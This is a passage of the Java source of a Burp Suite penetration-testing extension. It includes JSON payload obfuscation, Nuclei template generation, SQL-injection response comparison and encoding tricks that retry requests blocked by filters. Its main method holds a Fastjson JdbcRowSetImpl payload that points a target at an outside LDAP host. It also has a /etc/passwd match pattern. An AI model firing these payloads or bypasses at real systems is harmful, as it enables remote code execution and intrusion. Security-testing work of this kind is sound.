ArrayList<>();\n            for (Object item : list) {\n                updatedList.add(replaceUpdate(item, updateStr));\n            }\n            return updatedList;\n        } else if (obj instanceof String) {\n            return updateStr;\n        } else if (obj instanceof Integer) {\n            return obj;\n        } else if (obj instanceof Double) {\n            return obj;\n        } else if (obj instanceof Long) {\n            return obj;\n        }else if (obj instanceof Boolean) {\n            return obj;\n        } else {\n            throw new IllegalArgumentException(\"Unsupported data type: \" + obj.getClass().getName());\n        }\n    }\n\n    private static Object appendUpdate(Object obj, String updateStr) {\n        if (obj == null) {\n            return null;\n        }\n        if (obj instanceof Map) {\n            Map<String, Object> map = (Map<String, Object>) obj;\n            Map<String, Object> updatedMap = new LinkedHashMap<>();\n            for (Map.Entry<String, Object> entry : map.entrySet()) {\n                updatedMap.put(entry.getKey(), appendUpdate(entry.getValue(), updateStr));\n            }\n            return updatedMap;\n        } else if (obj instanceof List) {\n            List<Object> list = (List<Object>) obj;\n            List<Object> updatedList = new ArrayList<>();\n            for (Object item : list) {\n                updatedList.add(appendUpdate(item, updateStr));\n            }\n            return updatedList;\n        } else if (obj instanceof String) {\n            return obj.toString() + updateStr;\n        } else if (obj instanceof Integer) {\n            return obj;\n        } else if (obj instanceof Double) {\n            return obj;\n        } else if (obj instanceof Long) {\n            return obj;\n        }else if (obj instanceof Boolean) {\n            return obj;\n        }else {\n            throw new IllegalArgumentException(\"Unsupported data type: \" + obj.getClass().getName());\n        }\n    }\n\n    // 将字符串转换为Unicode编码\n    private static String encodeToJsonUnicode(String json) {\n        // 匹配双引号中间的部分的正则表达式\n        String regex = \"\\\"(.*?)\\\"\";\n\n        // 编译正则表达式\n        Pattern pattern = Pattern.compile(regex);\n\n        // 创建Matcher对象\n        Matcher matcher = pattern.matcher(json);\n\n        // 使用StringBuffer保存转换后的JSON\n        StringBuffer result = new StringBuffer();\n\n        // 循环匹配并替换\n        while (matcher.find()) {\n            // 获取匹配到的部分（包含引号）\n            String matchWithQuotes = matcher.group();\n\n            // 获取匹配到的部分（不包含引号）\n            String matchWithoutQuotes = matcher.group(1);\n\n            // 判断是否有引号，然后进行相应的处理\n            if (matchWithQuotes != null) {\n                // 处理带引号的部分\n                String unicodeMatch = \"\\\"\" + convertToUnicode(matchWithoutQuotes).replace(\"\\\\u\", \"\\\\\\\\u\") + \"\\\"\";\n                matcher.appendReplacement(result, unicodeMatch);\n            }\n        }\n\n        // 将最后一次匹配后的部分追加到结果中\n        matcher.appendTail(result);\n\n        return result.toString();\n    }\n\n    // 将字符串转换为16进制编码\n    private static String encodeToJsonHex(String json) {\n        // 匹配双引号中间的部分的正则表达式\n        String regex = \"\\\"(.*?)\\\"\";\n\n        // 编译正则表达式\n        Pattern pattern = Pattern.compile(regex);\n\n        // 创建Matcher对象\n        Matcher matcher = pattern.matcher(json);\n\n        // 使用StringBuffer保存转换后的JSON\n        StringBuffer result = new StringBuffer();\n\n        // 循环匹配并替换\n        while (matcher.find()) {\n            // 获取匹配到的部分（包含引号）\n            String matchWithQuotes = matcher.group();\n\n            // 获取匹配到的部分（不包含引号）\n            String matchWithoutQuotes = matcher.group(1);\n\n            // 判断是否有引号，然后进行相应的处理\n            if (matchWithQuotes != null) {\n                // 处理带引号的部分\n                String hexMatch = \"\\\"\" + convertToHex(matchWithoutQuotes).replace(\"\\\\x\", \"\\\\\\\\x\") + \"\\\"\";\n                matcher.appendReplacement(result, hexMatch);\n            }\n        }\n\n        // 将最后一次匹配后的部分追加到结果中\n        matcher.appendTail(result);\n\n        return result.toString();\n    }\n\n    // 将字符串转换为Unicode编码及16进制\n    public static String encodeToJsonRandom(String json) {\n        // 匹配双引号中间的部分的正则表达式\n        String regex = \"\\\"(.*?)\\\"\";\n\n        // 编译正则表达式\n        Pattern pattern = Pattern.compile(regex);\n\n        // 创建Matcher对象\n        Matcher matcher = pattern.matcher(json);\n\n        // 使用StringBuffer保存转换后的JSON\n        StringBuffer result = new StringBuffer();\n\n        // 循环匹配并替换\n        while (matcher.find()) {\n            // 获取匹配到的部分（包含引号）\n            String matchWithQuotes = matcher.group();\n\n            // 获取匹配到的部分（不包含引号）\n            String matchWithoutQuotes = matcher.group(1);\n\n            // 判断是否有引号，然后进行相应的处理\n            if (matchWithQuotes != null) {\n                // 处理带引号的部分\n                String hexMatch = \"\\\"\";// + convertToHex(matchWithoutQuotes).replace(\"\\\\x\", \"\\\\\\\\x\") + \"\\\"\"\n                StringBuilder buildCode = new StringBuilder();\n                for (char character : matchWithoutQuotes.toCharArray()) {\n                    Random random = new Random();\n\n                    // 生成0到2之间的随机整数\n                    int randomNumber = random.nextInt(3);\n\n                    // 根据随机数的值选择执行哪条语句\n                    switch (randomNumber) {\n                        case 0:\n                            buildCode.append(\"\\\\u\").append(Integer.toHexString(character | 0x10000).substring(1));\n                            break;\n                        case 1:\n                            buildCode.append(\"\\\\x\").append(Integer.toHexString(character));\n                            break;\n                        case 2:\n                            buildCode.append(character);\n                            break;\n                        default:\n                            System.out.println(\"未知情况\");\n\n                    }\n\n                }\n                hexMatch += buildCode.toString().replace(\"\\\\x\", \"\\\\\\\\x\").replace(\"\\\\u\", \"\\\\\\\\u\");\n                hexMatch += \"\\\"\";\n                matcher.appendReplacement(result, hexMatch);\n            }\n        }\n        // 将最后一次匹配后的部分追加到结果中\n        matcher.appendTail(result);\n        return result.toString();\n    }\n\n    // 将字符串转换为Unicode编码\n    private static String convertToUnicode(String input) {\n        StringBuilder unicode = new StringBuilder();\n        for (char character : input.toCharArray()) {\n            unicode.append(\"\\\\u\").append(Integer.toHexString(character | 0x10000).substring(1));\n        }\n        return unicode.toString();\n    }\n\n    // 将字符串转换为16进制\n    private static String convertToHex(String input) {\n        StringBuilder hex = new StringBuilder();\n        for (char character : input.toCharArray()) {\n            hex.append(\"\\\\x\").append(Integer.toHexString(character));\n        }\n        return hex.toString();\n    }\n\n    public static void main(String[] args) {\n        String s = encodeToJsonRandom(\"{\\n\" +\n                \"  \\\"@type\\\": \\\"com.sun.rowset.JdbcRowSetImpl\\\",\\n\" +\n                \"  \\\"dataSourceName\\\": \\\"ldap://192.168.2.2:8085/hcfzoUvw\\\",\\n\" +\n                \"  \\\"autoCommit\\\": true\\n\" +\n                \"}\");\n        System.out.println(s);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/utils/Nuclei.java",
    "content": "package burp.utils;\n\nimport burp.IHttpRequestResponse;\nimport burp.IRequestInfo;\nimport burp.bean.NucleiBean;\nimport org.springframework.expression.ExpressionParser;\nimport org.springframework.expression.common.TemplateParserContext;\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.datatransfer.StringSelection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class Nuclei {\n    private static final String Template_post = \"id: #{[id]}\\n\" +\n            \"\\n\" +\n            \"info:\\n\" +\n            \"  name: #{[name]}\\n\" +\n            \"  author: #{[author]}\\n\" +\n            \"  severity: #{[severity]}\\n\" +\n            \"  description: #{[description]}\\n\" +\n            \"  reference:\\n\" +\n            \"    - #{[reference]}\\n\" +\n            \"  tags: #{[tags]}\\n\" +\n            \"\\n\" +\n            \"requests:\\n\" +\n            \"  - raw:\\n\" +\n            \"      - |\\n\" +\n            \"        #{[raw]}\\n\" +\n            \"\\n\" +\n            \"    matchers:\\n\" +\n            \"      - type: dsl\\n\" +\n            \"        dsl:\\n\" +\n            \"          - \\\"#{[dsl]}\\\"\\n\";\n    public static String[] severitys = {\"critical\", \"high\", \"medium\", \"low\", \"info\"};\n    public static String[] dslStr = {\"status_code == 200 && contains(body, 'bingo')\", \"status_code_1 == 200 && !contains(body_3, 'bingo')\", \"regex('root:.*:0:0:', body)\", \"contains(body, 'bingo')\", \"contains(all_headers_1, 'text/html')\"};\n    private static String dsl;\n    private static String severity;\n    private static String name;\n    private static String author;\n    private static IRequestInfo analyzeRequest;\n    private static IHttpRequestResponse baseRequestResponse;\n\n\n    public static void Generate(IHttpRequestResponse[] iContextMenuInvocation) {\n        baseRequestResponse = iContextMenuInvocation[0];\n        analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n        name = JOptionPane.showInputDialog(null, \"请输入模板名称\");\n        author = JOptionPane.showInputDialog(null, \"请输入作者名称\");\n        severity = JOptionPane.showInputDialog(null, \"请选择漏洞等级\", \"选择框\", JOptionPane.INFORMATION_MESSAGE, null, severitys, severitys[0]).toString();\n        dsl = JOptionPane.showInputDialog(null, \"请选择表达式demo\", \"选择框\", JOptionPane.INFORMATION_MESSAGE, null, dslStr, dslStr[0]).toString();\n        JOptionPane.showMessageDialog(null, \"模板数据已复制到粘贴板,请自行更改其他参数\");\n\n        StringSelection template = new StringSelection(NucleiPost());\n        Toolkit.getDefaultToolkit().getSystemClipboard().setContents(template, template);\n    }\n\n    public static String NucleiPost() {\n        Map<String, Object> params = new HashMap<>();\n        NucleiBean nuclei = new NucleiBean();\n        nuclei.setId(name);\n        nuclei.setName(name);\n        nuclei.setAuthor(author);\n        nuclei.setSeverity(severity);\n        nuclei.setReference(\"Reference\");\n        nuclei.setDescription(\"description\");\n        nuclei.setTags(\"tags\");\n        StringBuilder raw_post = new StringBuilder();\n        List<String> headers = analyzeRequest.getHeaders();\n        for (String header : headers) {\n            if (!header.contains(\"Host\")) {\n                raw_post.append(header).append(\"\\n        \");\n            }\n        }\n        int bodyOffset = analyzeRequest.getBodyOffset();\n        byte[] byte_Request = baseRequestResponse.getRequest();\n\n        String request = new String(byte_Request);\n        String body = \"        \" + request.substring(bodyOffset);\n        raw_post.append(\"\\n\").append(body.replace(\"\\r\\n\", \"\\r\\n        \"));\n        nuclei.setRaw(raw_post.toString());\n        params.put(\"id\", nuclei.getId());\n        params.put(\"name\", nuclei.getName());\n        params.put(\"author\", nuclei.getAuthor());\n        params.put(\"severity\", nuclei.getSeverity());\n        params.put(\"reference\", nuclei.getReference());\n        params.put(\"description\", nuclei.getDescription());\n        params.put(\"tags\", nuclei.getTags());\n        params.put(\"raw\", nuclei.getRaw());\n        params.put(\"dsl\", dsl);\n        ExpressionParser parser = new SpelExpressionParser();\n        TemplateParserContext parserContext = new TemplateParserContext();\n        return parser.parseExpression(Template_post, parserContext).getValue(params, String.class);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/utils/ResponseSimilarityMatcher.java",
    "content": "package burp.utils;\n\nimport java.util.*;\n\npublic class ResponseSimilarityMatcher {\n    // 相似度阈值，可以根据实际测试调整\n    private static final double SIMILARITY_THRESHOLD = 0.85;\n    private static final int MIN_TOKEN_LENGTH = 4;\n\n    /**\n     * 判断两个响应数据包的相似度关系\n     * @return true 如果两个响应包差异显著（相似度低于阈值）\n     */\n    public static boolean compareTwoResponses(String response1, String response2) {\n        if (response1 == null || response2 == null) {\n            return false;\n        }\n        double similarity = calculateJaccardSimilarity(response1, response2);\n        return similarity < SIMILARITY_THRESHOLD;\n    }\n\n    /**\n     * 判断三个响应包的相似度关系，用于SQL注入检测\n     * @return true 如果response1和response3相似，且都与response2不相似\n     */\n    public static boolean compareThreeResponses(String response1, String response2, String response3) {\n        if (response1 == null || response2 == null || response3 == null) {\n            return false;\n        }\n\n        double similarity1_3 = calculateJaccardSimilarity(response1, response3);  // 正常响应相似度\n        double similarity1_2 = calculateJaccardSimilarity(response1, response2);  // 与异常响应相似度\n        double similarity2_3 = calculateJaccardSimilarity(response2, response3);  // 与异常响应相似度\n\n        return similarity1_3 >= SIMILARITY_THRESHOLD &&\n                similarity1_2 < SIMILARITY_THRESHOLD &&\n                similarity2_3 < SIMILARITY_THRESHOLD;\n    }\n\n    /**\n     * 计算Jaccard相似度\n     */\n    private static double calculateJaccardSimilarity(String str1, String str2) {\n        str1 = preprocessResponse(str1);\n        str2 = preprocessResponse(str2);\n\n        Set<String> set1 = tokenize(str1);\n        Set<String> set2 = tokenize(str2);\n\n        Set<String> intersection = new HashSet<>(set1);\n        intersection.retainAll(set2);\n\n        Set<String> union = new HashSet<>(set1);\n        union.addAll(set2);\n\n        if (union.isEmpty()) {\n            return 1.0;\n        }\n\n        return (double) intersection.size() / union.size();\n    }\n\n    /**\n     * 预处理响应内容\n     */\n    private static String preprocessResponse(String response) {\n        if (response == null) {\n            return \"\";\n        }\n\n        String result = response;\n\n        // 移除HTML标签\n        result = result.replaceAll(\"<[^>]+>\", \" \");\n\n        // 移除动态内容\n        result = result.replaceAll(\"\\\\d{10,}\", \"\")              // 时间戳\n                .replaceAll(\"[0-9a-f]{32}\", \"\")                 // MD5\n                .replaceAll(\"[0-9a-f]{40}\", \"\")                 // SHA1\n                .replaceAll(\"[0-9a-f]{64}\", \"\")                 // SHA256\n                .replaceAll(\"id=\\\\d+\", \"id=\")                   // 数字ID\n                .replaceAll(\"\\\\d{4}-\\\\d{2}-\\\\d{2}\", \"\")         // 日期\n                .replaceAll(\"\\\\d{2}:\\\\d{2}:\\\\d{2}\", \"\");        // 时间\n\n        // 移除标点和特殊字符\n        result = result.replaceAll(\"[^a-zA-Z0-9\\\\u4e00-\\\\u9fa5]\", \" \");\n\n        // 转小写并处理空格\n        result = result.toLowerCase().replaceAll(\"\\\\s+\", \" \").trim();\n\n        return result;\n    }\n\n    /**\n     * 分词处理\n     */\n    private static Set<String> tokenize(String str) {\n        Set<String> tokens = new HashSet<>();\n        String[] words = str.split(\"\\\\s+\");\n\n        for (String word : words) {\n            if (word.length() >= MIN_TOKEN_LENGTH) {\n                tokens.add(word);\n                if (word.length() > MIN_TOKEN_LENGTH * 2) {\n                    for (int i = 0; i <= word.length() - MIN_TOKEN_LENGTH; i++) {\n                        tokens.add(word.substring(i, i + MIN_TOKEN_LENGTH));\n                    }\n                }\n            }\n        }\n        return tokens;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/utils/RobotInput.java",
    "content": "package burp.utils;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\n\npublic class RobotInput extends Robot {\n\n    public RobotInput() throws AWTException {\n        super();\n    }\n\n    public void inputString(String str) {\n        delay(100);\n        Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard();//获取剪切板\n        StringSelection tText = new StringSelection(str);\n        clip.setContents(tText, tText); //设置剪切板内容,在Linux中这会修改ctrl+shift+v的内容\n        delay(100);\n        if (!Utils.isSelect){\n            Utils.isSelect = true;\n            JOptionPane.showMessageDialog(null, \"请打开cmd终端按下Ctrl+V或者邮件粘贴(只提醒一次)\", \"提示\", JOptionPane.INFORMATION_MESSAGE);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/utils/SmartRequestDetector.java",
    "content": "package burp.utils;\n\nimport burp.IExtensionHelpers;\nimport burp.IHttpRequestResponse;\nimport burp.IHttpService;\nimport burp.utils.Utils;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.net.URLEncoder;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SmartRequestDetector {\n\n    private final IExtensionHelpers helpers;\n    private final IHttpService httpService;\n    private static final int[] BLOCKED_STATUS_CODES = {403,406,410};\n\n    public SmartRequestDetector(IHttpService httpService) {\n        this.helpers = Utils.helpers;\n        this.httpService = httpService;\n    }\n\n    public IHttpRequestResponse smartSendRequest(String url, byte[] request) {\n        IHttpRequestResponse normalResponse = sendRequest(url, request);\n        if (isSuccessResponse(normalResponse)) {\n            return normalResponse;\n        }\n\n        if (isBlockedResponse(normalResponse)) {\n            List<IHttpRequestResponse> encodedResponses = tryEncodingBypass(url, request);\n            for (IHttpRequestResponse response : encodedResponses) {\n                if (isSuccessResponse(response)) {\n                    return response;\n                }\n            }\n        }\n\n        return normalResponse;\n    }\n\n    private List<IHttpRequestResponse> tryEncodingBypass(String url, byte[] request) {\n        List<IHttpRequestResponse> responses = new ArrayList<>();\n\n        try {\n            URL urlObj = new URL(url);\n            String path = urlObj.getPath();\n            String query = urlObj.getQuery();\n            String fragment = urlObj.getRef();\n\n            String[] encodedPaths = new String[] {\n                path,\n                urlEncodePath(path),\n                doubleUrlEncodePath(path),\n                unicodeEncodePath(path),\n                mixedEncodePath(path)\n            };\n\n            for (String encodedPath : encodedPaths) {\n                if (encodedPath == null || encodedPath.equals(path)) continue;\n\n                String newUrl = buildUrl(urlObj, encodedPath, query, fragment);\n                IHttpRequestResponse response = sendRequest(newUrl, request);\n                if (response != null) {\n                    responses.add(response);\n                }\n            }\n        } catch (Exception e) {\n        }\n\n        return responses;\n    }\n\n    private String urlEncodePath(String path) {\n        try {\n            String encoded = URLEncoder.encode(path, \"UTF-8\");\n            return encoded.replace(\"%2F\", \"/\")\n                      .replace(\"%3D\", \"=\")\n                      .replace(\"%3F\", \"?\")\n                      .replace(\"%40\", \"@\")\n                      .replace(\"%3A\", \":\")\n                      .replace(\"%26\", \"&\")\n                      .replace(\"%23\", \"#\");\n        } catch (UnsupportedEncodingException e) {\n            return null;\n        }\n    }\n\n    private String doubleUrlEncodePath(String path) {\n        try {\n            String firstEncode = URLEncoder.encode(path, \"UTF-8\");\n            String secondEncode = URLEncoder.encode(firstEncode, \"UTF-8\");\n            return secondEncode.replace(\"%252F\", \"/\")\n                          .replace(\"%253D\", \"=\")\n                          .replace(\"%253F\", \"?\")\n                          .replace(\"%2540\", \"@\")\n                          .replace(\"%253A\", \":\");\n        } catch (UnsupportedEncodingException e) {\n            return null;\n        }\n    }\n\n    private String unicodeEncodePath(String path) {\n        try {\n            byte[] bytes = path.getBytes(\"UTF-8\");\n            StringBuilder result = new StringBuilder();\n            for (byte b : bytes) {\n                if (b == '/') {\n                    result.append('/');\n                } else {\n                    result.append(String.format(\"%%%02X\", b & 0xFF));\n                }\n            }\n            return result.toString();\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private String mixedEncodePath(String path) {\n        StringBuilder result = new StringBuilder();\n        for (int i = 0; i < path.length(); i++) {\n            char c = path.charAt(i);\n            if (c == '/') {\n                result.append(c);\n            } else if (i % 2 == 0) {\n                try {\n                    result.append(URLEncoder.encode(String.valueOf(c), \"UTF-8\"));\n                } catch (UnsupportedEncodingException e) {\n                    result.append(c);\n                }\n            } else {\n                result.append(c);\n            }\n        }\n        return result.toString();\n    }\n\n    private String buildUrl(URL urlObj, String path, String query, String fragment) {\n        StringBuilder urlBuilder = new StringBuilder();\n        urlBuilder.append(urlObj.getProtocol()).append(\"://\");\n        urlBuilder.append(urlObj.getHost());\n\n        if (urlObj.getPort() != -1) {\n            urlBuilder.append(\":\").append(urlObj.getPort());\n        }\n\n        urlBuilder.append(path);\n\n        if (query != null && !query.isEmpty()) {\n            urlBuilder.append(\"?\").append(query);\n        }\n\n        if (fragment != null && !fragment.isEmpty()) {\n            urlBuilder.append(\"#\").append(fragment);\n        }\n\n        return urlBuilder.toString();\n    }\n\n    private IHttpRequestResponse sendRequest(String url, byte[] request) {\n        try {\n            byte[] newRequest = helpers.buildHttpRequest(new URL(url));\n            return Utils.callbacks.makeHttpRequest(httpService, newRequest);\n        } catch (MalformedURLException e) {\n            return null;\n        }\n    }\n\n    private boolean isSuccessResponse(IHttpRequestResponse response) {\n        if (response == null || response.getResponse() == null) {\n            return false;\n        }\n\n        int statusCode = helpers.analyzeResponse(response.getResponse()).getStatusCode();\n        return statusCode >= 200 && statusCode < 300;\n    }\n\n    private boolean isBlockedResponse(IHttpRequestResponse response) {\n        if (response == null || response.getResponse() == null) {\n            return false;\n        }\n\n        int statusCode = helpers.analyzeResponse(response.getResponse()).getStatusCode();\n        for (int blockedCode : BLOCKED_STATUS_CODES) {\n            if (statusCode == blockedCode) {\n                return true;\n            }\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/utils/UrlCacheUtil.java",
    "content": "package burp.utils;\n\nimport burp.IParameter;\n\nimport javax.rmi.CORBA.Util;\nimport java.net.URL;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * URL缓存工具类\n */\npublic class UrlCacheUtil {\n    // 为不同模块创建独立的缓存集合\n    private static final Map<String, Set<String>> MODULE_CACHES = new ConcurrentHashMap<>();\n\n    /**\n     * 检查URL是否重复\n     */\n    public static boolean checkUrlUnique(String moduleName, String method, URL url,\n                                         List<IParameter> parameters) {\n        try {\n            // 获取模块的缓存集合，如果不存在则创建\n            Set<String> urlHashSet = MODULE_CACHES.computeIfAbsent(moduleName,\n                    k -> Collections.synchronizedSet(new HashSet<>()));\n\n            // 构建URL特征\n            String urlHash = buildUrlHash(method, url, parameters);\n\n            // 检查是否重复，不重复则添加\n            return urlHashSet.add(urlHash);\n\n        } catch (Exception e) {\n            Utils.stderr.println(moduleName + \" URL去重处理异常: \" + e.getMessage());\n            return true;\n        }\n    }\n\n    /**\n     * 构建URL特征值\n     */\n    private static String buildUrlHash(String method, URL url, List<IParameter> parameters) {\n        StringBuilder urlFeature = new StringBuilder();\n        urlFeature.append(method.toUpperCase())\n                .append(\"|\")\n                .append(url.getProtocol())\n                .append(\"://\")\n                .append(url.getHost().toLowerCase())\n                .append(\":\")\n                .append(url.getPort())\n                .append(normalizePath(url.getPath()));\n\n        if (parameters != null && !parameters.isEmpty()) {\n            Map<String, String> paramMap = new TreeMap<>();\n            for (IParameter param : parameters) {\n                if (param != null && param.getName() != null) {\n                    paramMap.put(param.getName(), param.getValue());\n                }\n            }\n\n            if (!paramMap.isEmpty()) {\n                urlFeature.append(\"?\");\n                for (Map.Entry<String, String> entry : paramMap.entrySet()) {\n                    urlFeature.append(entry.getKey())\n                            .append(\"=\")\n                            .append(entry.getValue())\n                            .append(\"&\");\n                }\n            }\n        }\n\n        return simpleHash(urlFeature.toString());\n    }\n\n    /**\n     * 简单的字符串哈希函数\n     */\n    private static String simpleHash(String input) {\n        int hash = 0;\n        for (byte b : input.getBytes(StandardCharsets.UTF_8)) {\n            hash = 31 * hash + (b & 0xff);\n        }\n        return String.format(\"%08x\", hash);\n    }\n\n    /**\n     * 规范化路径\n     */\n    private static String normalizePath(String path) {\n        if (path == null || path.isEmpty()) {\n            return \"/\";\n        }\n        path = path.replaceAll(\"/+\", \"/\");\n        if (!path.startsWith(\"/\")) {\n            path = \"/\" + path;\n        }\n        if (path.length() > 1 && path.endsWith(\"/\")) {\n            path = path.substring(0, path.length() - 1);\n        }\n        return path;\n    }\n\n    /**\n     * 重置指定模块的缓存\n     */\n    public static void resetCache(String moduleName) {\n        Set<String> cache = MODULE_CACHES.get(moduleName);\n        if (cache != null) {\n            cache.clear();\n        }\n    }\n\n    /**\n     * 重置所有缓存\n     */\n    public static void resetAllCaches() {\n        MODULE_CACHES.clear();\n    }\n\n    /**\n     * 获取指定模块的缓存大小\n     */\n    public static int getCacheSize(String moduleName) {\n        Set<String> cache = MODULE_CACHES.get(moduleName);\n        return cache != null ? cache.size() : 0;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/utils/Utils.java",
    "content": "package burp.utils;\n\nimport burp.IBurpExtenderCallbacks;\nimport burp.IExtensionHelpers;\nimport burp.IHttpRequestResponse;\n\nimport java.io.*;\nimport java.net.URL;\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * Burp扩展工具类\n * 提供文件操作、字符串处理、URL处理等通用功能\n */\npublic final class Utils {\n    // ================ 常量定义 ================\n    private static final String DEFAULT_DATETIME_PATTERN = \"yyyy-MM-dd HH:mm:ss\";\n    private static final String DEFAULT_FILE_DATETIME_PATTERN = \"MMdd-HHmmss\";\n    private static final String REQ_FILE_SUFFIX = \".req\";\n    private static final String DEFAULT_CHARSET = \"UTF-8\";\n    // ================ 静态字段 ================\n    public static final String NAME = \"GatherBurp\";\n    public static final String VERSION = \"1.2.0\";\n    public static final String AUTHOR = \"Xm17\";\n    public static final String WORKDIR = System.getProperty(\"user.home\") + \"/.gather/\";\n    public static IBurpExtenderCallbacks callbacks;\n    public static IExtensionHelpers helpers;\n    public static PrintWriter stdout;\n    public static PrintWriter stderr;\n    public static boolean isSelect = false;\n\n    /**\n     * HTML标题提取的正则表达式\n     */\n    private static final Pattern TITLE_PATTERN = Pattern.compile(\"<title(.*?)>(.*?)</title>\", Pattern.CASE_INSENSITIVE);\n    private static final Pattern HEADING_PATTERN = Pattern.compile(\"<h[1-6](.*?)>(.*?)</h[1-6]>\", Pattern.CASE_INSENSITIVE);\n\n    // ================ 文件操作相关 ================\n\n    /**\n     * 写入请求到文件\n     * @param message HTTP请求响应对象\n     * @return 文件绝对路径\n     */\n    public static String writeReqFile(IHttpRequestResponse message) {\n        String host = message.getHttpService().getHost();\n        String timeString = DateTimeFormatter.ofPattern(DEFAULT_FILE_DATETIME_PATTERN)\n                .format(LocalDateTime.now());\n        String filename = String.format(\"%s.%s%s\", host, timeString, REQ_FILE_SUFFIX);\n\n        File requestFile = new File(WORKDIR, filename);\n        writeBytes(message.getRequest(), requestFile);\n        return requestFile.getAbsolutePath();\n    }\n\n    /**\n     * 获取Socks配置文件\n     */\n    public static File SocksConfigFile(String filename) {\n        return new File(WORKDIR, filename);\n    }\n\n    /**\n     * 读取文件内容为字符串\n     */\n    public static String readString(File file, String charset) {\n        if (file == null || !file.exists()) {\n            return null;\n        }\n\n        try {\n            return new String(Files.readAllBytes(file.toPath()), charset);\n        } catch (IOException e) {\n            stderr.println(\"Error reading file: \" + e.getMessage());\n            return null;\n        }\n    }\n\n    /**\n     * 将字符串写入文件\n     */\n    public static boolean writeString(String content, File file, String charset) {\n        try {\n            createParentDirs(file);\n            Files.write(file.toPath(), content.getBytes(charset));\n            return true;\n        } catch (IOException e) {\n            stderr.println(\"Error writing file: \" + e.getMessage());\n            return false;\n        }\n    }\n\n    /**\n     * 写入字节数组到文件\n     */\n    public static boolean writeBytes(byte[] data, File file) {\n        if (data == null || file == null) {\n            return false;\n        }\n\n        try {\n            createParentDirs(file);\n            try (FileOutputStream out = new FileOutputStream(file)) {\n                out.write(data);\n                out.flush();\n                return true;\n            }\n        } catch (IOException e) {\n            stderr.println(\"Error writing bytes: \" + e.getMessage());\n            return false;\n        }\n    }\n\n    /**\n     * 删除所有.req后缀的缓存文件\n     */\n    public static boolean deleteReqFile() {\n        File dir = new File(WORKDIR);\n        if (!dir.exists()) {\n            return false;\n        }\n\n        File[] files = dir.listFiles((d, name) -> name.endsWith(REQ_FILE_SUFFIX));\n        if (files == null) {\n            return false;\n        }\n\n        Arrays.stream(files).forEach(File::delete);\n        return true;\n    }\n\n    // ================ URL处理相关 ================\n\n    /**\n     * 判断URL是否为黑名单后缀\n     */\n    public static boolean isUrlBlackListSuffix(String url) {\n        String noParameterUrl = url.split(\"\\\\?\")[0];\n        int lastDotIndex = noParameterUrl.lastIndexOf('.');\n        if (lastDotIndex == -1) {\n            return false;\n        }\n\n        String urlSuffix = noParameterUrl.substring(lastDotIndex + 1).toLowerCase();\n        return getSuffix().contains(urlSuffix.toLowerCase());\n    }\n\n    /**\n     * 获取URL的根路径（不包含文件名）\n     */\n    public static String getUrlWithoutFilename(URL url) {\n        String rootPath = getUrlRootPath(url);\n        String path = url.getPath();\n\n        if (path.isEmpty()) {\n            return rootPath + \"/\";\n        }\n\n        // 特殊处理django swagger\n        if (url.getFile().endsWith(\"/?format=openapi\")) {\n            return rootPath + url.getFile();\n        }\n\n        return path.endsWith(\"/\") ?\n                rootPath + path :\n                rootPath + path.substring(0, path.lastIndexOf('/') + 1);\n    }\n\n    /**\n     * 获取URL的协议+主机+端口\n     */\n    public static String getUrlRootPath(URL url) {\n        return String.format(\"%s://%s:%d\",\n                url.getProtocol(), url.getHost(), url.getPort());\n    }\n\n    // ================ 字符串处理相关 ================\n\n    /**\n     * 从HTML响应体中提取标题\n     */\n    public static String extractTitle(String responseBody) {\n        // 尝试从title标签提取\n        Matcher titleMatcher = TITLE_PATTERN.matcher(responseBody);\n        if (titleMatcher.find()) {\n            String title = titleMatcher.group(2);\n            if (title != null && !title.isEmpty()) {\n                return title;\n            }\n        }\n\n        // 尝试从heading标签提取\n        Matcher headingMatcher = HEADING_PATTERN.matcher(responseBody);\n        if (headingMatcher.find()) {\n            String heading = headingMatcher.group(2);\n            if (heading != null && !heading.isEmpty()) {\n                return heading;\n            }\n        }\n\n        return \"\";\n    }\n\n    /**\n     * 移除字符串中的特殊字符\n     */\n    public static String ReplaceChar(String input) {\n        return input.replaceAll(\"[\\\\n\\\\r]\", \"\");\n    }\n\n    /**\n     * 去除字符串两端的双引号\n     */\n    public static String RemoveQuotes(String input) {\n        return input.startsWith(\"\\\"\") && input.endsWith(\"\\\"\") ?\n                input.substring(1, input.length() - 1) : input;\n    }\n\n    // ================ 编码相关 ================\n\n    /**\n     * URL编码\n     */\n    public static String UrlEncode(String input) {\n        try {\n            return URLEncoder.encode(input, StandardCharsets.UTF_8.name());\n        } catch (UnsupportedEncodingException e) {\n            return input;\n        }\n    }\n\n    /**\n     * UTF-8编码\n     */\n    public static String Utf8Encode(String input) {\n        return new String(input.getBytes(StandardCharsets.UTF_8), StandardCharsets.UTF_8);\n    }\n\n    // ================ 时间相关 ================\n\n    /**\n     * 获取当前时间的格式化字符串\n     */\n    public static String getCurrentTime() {\n        return LocalDateTime.now()\n                .format(DateTimeFormatter.ofPattern(DEFAULT_DATETIME_PATTERN));\n    }\n\n    // ================ 私有辅助方法 ================\n\n    /**\n     * 创建父目录（如果不存在）\n     */\n    private static void createParentDirs(File file) {\n        File parent = file.getParentFile();\n        if (parent != null && !parent.exists()) 